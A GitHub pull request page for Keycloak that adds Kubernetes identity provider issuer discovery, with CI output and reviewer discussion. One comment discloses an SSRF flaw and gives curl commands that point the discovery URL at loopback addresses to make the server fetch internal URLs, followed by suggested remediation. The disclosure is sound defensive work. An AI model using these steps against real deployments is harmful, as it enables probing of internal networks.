8000 Resolve Kubernetes identity provider issuer from discovery by chance-coleman · Pull Request #49600 · keycloak/keycloak · GitHub
[go: up one dir, main page]

Skip to content

Resolve Kubernetes identity provider issuer from discovery - #49600

Closed
chance-coleman wants to merge 1 commit into
keycloak:mainfrom
chance-coleman:resolve-kubernetes-idp-issuer
Closed

chance-coleman wants to merge 1 commit into
keycloak:mainfrom
chance-coleman:resolve-kubernetes-idp-issuer

Conversation

@chance-coleman
@chance-coleman chance-coleman commented Jun 2, 2026 •
Copy link
Copy Markdown
Contributor

Summary

Resolve and persist the issuer from Kubernetes OIDC discovery when saving a Kubernetes identity provider.

Managed Kubernetes clusters can expose service account token discovery through the in-cluster Kubernetes API URL while issuing tokens with an external issuer URL. For example, EKS exposes discovery through https://kubernetes.default.svc, but service account tokens use an issuer like https://oidc.eks.<region>.amazonaws.com/id/<cluster-id>.

This change resolves the discovery document during identity provider validation and stores the discovered issuer in the existing issuer config field before issuer uniqueness validation runs.

Motivation

Closes: #49039
Related Discussion: #48130

Kubernetes service account token client authentication looks up the Kubernetes identity provider by the JWT issuer. If admins configure the in-cluster Kubernetes discovery URL, but tokens contain the managed cluster's external issuer, runtime lookup cannot find the identity provider.

Persisting the discovered issuer at save time keeps runtime client authentication unchanged while supporting managed Kubernetes clusters.

Implementation

  • Fetches /.well-known/openid-configuration from the configured Kubernetes issuer during create/update validation.
  • Persists the discovered issuer when present.
  • Uses the pod service account token only for in-cluster Kubernetes API discovery URLs.
  • Adds a 5 second connect/socket timeout for discovery on the admin write path.
  • Preserves existing behavior if discovery fails or no issuer is returned.
  • Keeps runtime token lookup and signature validation unchanged.

Testing

  • Added create/update tests verifying Kubernetes identity provider save resolves and persists the discovered issuer.
  • Added duplicate issuer validation coverage for resolved issuers.
  • Updated Kubernetes federated JWT client auth coverage so configured discovery URL differs from the JWT issuer.

Commands run:

./mvnw -pl tests/base -Dtest=org.keycloak.tests.admin.identityprovider.IdentityProviderKubernetesTest test
./mvnw -pl services,test-framework/oauth,tests/base -am -Dtest=org.keycloak.tests.client.authentication.external.KubernetesClientAuthTest test
git diff --check
git diff --cached --check

Manual EKS validation:

  • Created a Kubernetes identity provider with issuer https://kubernetes.default.svc.
  • Verified persisted issuer resolved to the EKS OIDC issuer.
  • Verified federated JWT client authentication with a Kubernetes service account token succeeded.

AI assistance disclosure: I used an AI coding agent to help explore the codebase, draft a plan, and help debug verification steps. I reviewed and understand the changes.

@chance-coleman
chance-coleman requested a review from a team as a code owner June 2, 2026 13:49
}

private String discoveryUrl(String issuer) {
return issuer.replaceAll("/+$", "") + "/.well-known/openid-configuration";
Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i believe this was fixed in the duplicate comment

@keycloak-github-bot keycloak-github-bot Bot left a comment
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unreported flaky test detected, please review

@keycloak-github-bot
Copy link
Copy Markdown

Unreported flaky test detected

If the flaky tests below are affected by the changes, please review and update the changes accordingly. Otherwise, a maintainer should report the flaky tests prior to merging the PR.

org.keycloak.testsuite.forms.LoginTest#loginWithForcePasswordChangePolicy

Keycloak CI - Store IT (mariadb)

java.lang.NullPointerException: Cannot invoke "org.keycloak.representations.idm.EventRepresentation.getType()" because "event" is null
	at org.keycloak.testframework.events.EventAssertion.assertSuccess(EventAssertion.java:43)
	at org.keycloak.testframework.events.EventAssertion.expectRequiredAction(EventAssertion.java:212)
	at org.keycloak.testsuite.forms.LoginTest.loginWithForcePasswordChangePolicy(LoginTest.java:560)
	at java.base/java.lang.reflect.Method.invoke(Method.java:565)
...

Report flaky test

org.keycloak.testsuite.forms.LoginTest#loginAfterExpiredTimeout

Keycloak CI - Store IT (mariadb)

org.opentest4j.AssertionFailedError: Expected successful event ==> expected: <false> but was: <true>
	at org.junit.jupiter.api.AssertionFailureBuilder.build(AssertionFailureBuilder.java:151)
	at org.junit.jupiter.api.AssertionFailureBuilder.buildAndThrow(AssertionFailureBuilder.java:132)
	at org.junit.jupiter.api.AssertFalse.failNotFalse(AssertFalse.java:63)
	at org.junit.jupiter.api.AssertFalse.assertFalse(AssertFalse.java:36)
...

Report flaky test

org.keycloak.testsuite.forms.LoginTest#loginWithoutForcePasswordChangePolicy

Keycloak CI - Store IT (mariadb)

java.lang.IllegalArgumentException: No enum constant org.keycloak.testsuite.pages.AppPage.RequestType.Sign in to test
	at java.base/java.lang.Enum.valueOf(Enum.java:293)
	at org.keycloak.testsuite.pages.AppPage$RequestType.valueOf(AppPage.java:58)
	at org.keycloak.testsuite.pages.AppPage.getRequestType(AppPage.java:47)
	at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104)
...

Report flaky test

org.keycloak.testsuite.forms.LoginTest#loginSuccess

Keycloak CI - Store IT (mariadb)

java.lang.IllegalArgumentException: No enum constant org.keycloak.testsuite.pages.AppPage.RequestType.Sign in to test
	at java.base/java.lang.Enum.valueOf(Enum.java:293)
	at org.keycloak.testsuite.pages.AppPage$RequestType.valueOf(AppPage.java:58)
	at org.keycloak.testsuite.pages.AppPage.getRequestType(AppPage.java:47)
	at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104)
...

Report flaky test

@chance-coleman
chance-coleman force-pushed the resolve-kubernetes-idp-issuer branch from bc0cbc4 to 38d666b Compare June 2, 2026 15:11
@slaskawi slaskawi left a comment
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fantastic work Chance! I added two comments (which might be quite impactful). Once we sort them out, I think we can start asking the maintainers for review.

@ahus1
ahus1 commented Jun 8, 2026
Copy link
Copy Markdown
Member

@chance-coleman - I've updated the description that it closes issue #49039 - let me know if this is the case.

When discussing this this @slaskawi I was hoping for a simpler PR. Given the size of the PR and the current items on the backlog, I can't say when someone will have the time to review it.

@stianst
stianst self-requested a review June 8, 2026 12:17
@gauravbsinghal
Copy link
Copy Markdown

Hi @chance-coleman, I'm sharing this from Niro, an open-source PR pentesting tool we're building to help OSS maintainers catch security regressions before merge. I ran it against this PR and it found a reproducible SSRF issue in Kubernetes issuer discovery.


Issue
A realm admin can force the Keycloak server to fetch internal URLs through Kubernetes issuer discovery. The response extraction is limited to valid JSON issuer fields, but this still enables internal network probing / constrained SSRF without master-admin privileges.

Note on reproduction: The commands below are exported from Niro's Docker test harness. To reproduce locally, replace host.docker.internal, niro-realm, and the test credentials with the equivalent values in your local Keycloak dev environment.

Pre-conditions: Obtain a token for a delegated realm admin with permission to manage identity providers in the target realm.

REALM_TOKEN=$(curl -s -X POST \
  "http://host.docker.internal:8080/realms/niro-realm/protocol/openid-connect/token" \
  -d "grant_type=password&client_id=admin-cli&username=realm-admin&password=password" \
  | jq -r '.access_token')

Step 1 - Create a Kubernetes IDP with an internal issuer discovery URL:

curl -s -w "\nHTTP_STATUS:%{http_code}" -X POST \
  "http://host.docker.internal:8080/admin/realms/niro-realm/identity-provider/instances" \
  -H "Authorization: Bearer $REALM_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "k8s-ssrf-test",
    "providerId": "kubernetes",
    "config": {
      "automaticIssuerDiscovery": "true",
      "issuerDiscoveryUrl": "http://localhost:8080/realms/master",
      "issuer": "http://placeholder"
    }
  }'

Observed: HTTP 201 Created.

Step 2 - Read back the persisted issuer:

curl -s \
  "http://host.docker.internal:8080/admin/realms/niro-realm/identity-provider/instances/k8s-ssrf-test" \
  -H "Authorization: Bearer $REALM_TOKEN" \
  | jq '.config | {issuer, issuerDiscoveryUrl}'

Observed:

{
  "issuer": "http://localhost:8080/realms/master",
  "issuerDiscoveryUrl": "http://localhost:8080/realms/master"
}

The persisted issuer value is the value returned by the loopback endpoint's /.well-known/openid-configuration, which confirms Keycloak made the fetch server-side from inside the container.

Step 3 - Reproduce with a second internal address:

Delete the IDP and recreate it with issuerDiscoveryUrl: http://127.0.0.1:8080/realms/niro-realm. HTTP 201 returned, and the persisted issuer was http://127.0.0.1:8080/realms/niro-realm. Both runs executed as the delegated realm admin in niro-realm.

Why this matters

The PR adds a new server-side fetch in the admin write path. A delegated realm admin who can configure Kubernetes identity providers can now cause the Keycloak server to request URLs reachable from the Keycloak process, including loopback/private-network destinations. This is more specific than normal OIDC provider configuration because KubernetesIdentityProviderConfig.resolveIssuer() automatically dereferences issuerDiscoveryUrl during create/update validation and persists the returned issuer.

Suggested remediation

Add request-destination validation before SimpleHttp.create(session).doGet(discoveryUrl(issuer)) is called. At minimum, reject loopback, RFC-1918/private, link-local, and metadata-service destinations after resolving the hostname.

As defense in depth, consider whether automatic issuer discovery should only allow the expected Kubernetes discovery endpoint(s), rather than accepting arbitrary issuerDiscoveryUrl values from the admin API. The important part is that the destination check must happen before the outbound HTTP request, not only in shouldIncludeServiceAccountToken().

@slaskawi slaskawi left a comment
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM! Great work!

Closes keycloak#49039

Signed-off-by: UnicornChance <chance@defenseunicorns.com>
@slaskawi
Copy link
Copy Markdown
Contributor

@shawkins @vmuzikar Could I kindly ask you to review this PR?

To get you on the same page - this Pull Request introduces an option to automatically discover the issuer in managed Kubernetes clusters (like AKS/EKS). This might be helpful for OpenShift as well and relates to your recent fixes: #49488.

With this change and config.automaticIssuerDiscovery turned on, you shouldn't need to explicitly set the Issuer. In other words, this piece of #49488 could be removed:

            String oicdConfig = k8sclient.raw("/.well-known/openid-configuration");
            String issuer = (String) Serialization.unmarshal(oicdConfig, Map.class).get("issuer");
            idp.getConfig().put("issuer", issuer);

@chance-coleman @shawkins If you agree with the approach and implementation here, I was thinking if we could modify the operator/src/test/java/org/keycloak/operator/testsuite/integration/KeycloakKubernetesJwtTest.java‎ and somehow invoke the OpenShift tests with that change. This would prove that the automatic discovery works correctly. However, we don't seem to have access to the OpenShift (IIRC this is tested downstream).

@chance-coleman
Copy link
Copy Markdown
Contributor Author

Closing this PR so that we can follow up with 2 PRs instead, first one will be to address the bug found in this PR and the second will be to enhance the idp issuer which will follow the bug fix.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Signed JWT - Federated: support managed Kubernetes (EKS, GKE, AKS) via dynamic OIDC issuer discovery

6 participants

0